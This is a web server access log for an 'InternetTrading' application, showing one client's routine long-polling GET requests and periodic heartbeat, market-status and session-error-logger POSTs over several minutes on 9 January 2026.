[09/Jan/2026:08:32:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918999315 HTTP/1.1" -
[09/Jan/2026:08:32:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:32:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:32:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:32:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:32:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919005309 HTTP/1.1" -
[09/Jan/2026:08:32:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919011306 HTTP/1.1" -
[09/Jan/2026:08:32:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919017311 HTTP/1.1" -
[09/Jan/2026:08:32:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919023313 HTTP/1.1" -
[09/Jan/2026:08:32:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919029315 HTTP/1.1" -
[09/Jan/2026:08:32:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919035311 HTTP/1.1" -
[09/Jan/2026:08:32:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919041314 HTTP/1.1" -
[09/Jan/2026:08:32:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919047302 HTTP/1.1" -
[09/Jan/2026:08:33:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919053306 HTTP/1.1" -
[09/Jan/2026:08:33:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919059310 HTTP/1.1" -
[09/Jan/2026:08:33:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:33:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:33:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:33:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:33:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919065315 HTTP/1.1" -
[09/Jan/2026:08:33:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919071316 HTTP/1.1" -
[09/Jan/2026:08:33:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919077302 HTTP/1.1" -
[09/Jan/2026:08:33:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919083310 HTTP/1.1" -
[09/Jan/2026:08:33:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919089314 HTTP/1.1" -
[09/Jan/2026:08:33:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919095315 HTTP/1.1" -
[09/Jan/2026:08:33:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919101302 HTTP/1.1" -
[09/Jan/2026:08:33:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919107309 HTTP/1.1" -
[09/Jan/2026:08:34:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919113445 HTTP/1.1" -
[09/Jan/2026:08:34:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919119327 HTTP/1.1" -
[09/Jan/2026:08:34:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:34:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:34:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:34:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:34:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919125315 HTTP/1.1" -
[09/Jan/2026:08:34:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919131421 HTTP/1.1" -
[09/Jan/2026:08:34:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919137316 HTTP/1.1" -
[09/Jan/2026:08:34:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919143306 HTTP/1.1" -
[09/Jan/2026:08:34:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919149311 HTTP/1.1" -
[09/Jan/2026:08:34:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919155308 HTTP/1.1" -
[09/Jan/2026:08:34:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919161310 HTTP/1.1" -
[09/Jan/2026:08:34:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919167302 HTTP/1.1" -
[09/Jan/2026:08:35:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919173315 HTTP/1.1" -
[09/Jan/2026:08:35:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919179304 HTTP/1.1" -
[09/Jan/2026:08:35:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:35:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:35:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:35:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:35:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919185312 HTTP/1.1" -
[09/Jan/2026:08:35:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919191306 HTTP/1.1" -
[09/Jan/2026:08:35:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919197312 HTTP/1.1" -
[09/Jan/2026:08:35:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919203306 HTTP/1.1" -
[09/Jan/2026:08:35:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919209305 HTTP/1.1" -
[09/Jan/2026:08:35:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919215302 HTTP/1.1" -
[09/Jan/2026:08:35:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919221300 HTTP/1.1" -
[09/Jan/2026:08:35:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919227306 HTTP/1.1" -
[09/Jan/2026:08:36:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919233306 HTTP/1.1" -
[09/Jan/2026:08:36:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919239300 HTTP/1.1" -
[09/Jan/2026:08:36:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:36:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:36:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:36:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:36:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919245315 HTTP/1.1" -
[09/Jan/2026:08:36:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919251310 HTTP/1.1" -
[09/Jan/2026:08:36:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919257309 HTTP/1.1" -
[09/Jan/2026:08:36:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919263305 HTTP/1.1" -
[09/Jan/2026:08:36:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919269303 HTTP/1.1" -
[09/Jan/2026:08:36:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919275303 HTTP/1.1" -
[09/Jan/2026:08:36:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919281300 HTTP/1.1" -
[09/Jan/2026:08:36:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919287303 HTTP/1.1" -
[09/Jan/2026:08:37:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919293315 HTTP/1.1" -
[09/Jan/2026:08:37:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919299304 HTTP/1.1" -
[09/Jan/2026:08:37:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:37:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:37:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:37:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:37:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919305315 HTTP/1.1" -
[09/Jan/2026:08:37:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919311314 HTTP/1.1" -
[09/Jan/2026:08:37:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919317307 HTTP/1.1" -
[09/Jan/2026:08:37:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919323302 HTTP/1.1" -
[09/Jan/2026:08:37:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919329303 HTTP/1.1" -
[09/Jan/2026:08:37:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919335314 HTTP/1.1" -
[09/Jan/2026:08:37:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919341310 HTTP/1.1" -
[09/Jan/2026:08:37:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919347314 HTTP/1.1" -
[09/Jan/2026:08:38:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919353305 HTTP/1.1" -
[09/Jan/2026:08:38:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919359301 HTTP/1.1" -
[09/Jan/2026:08:38:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:38:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:38:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
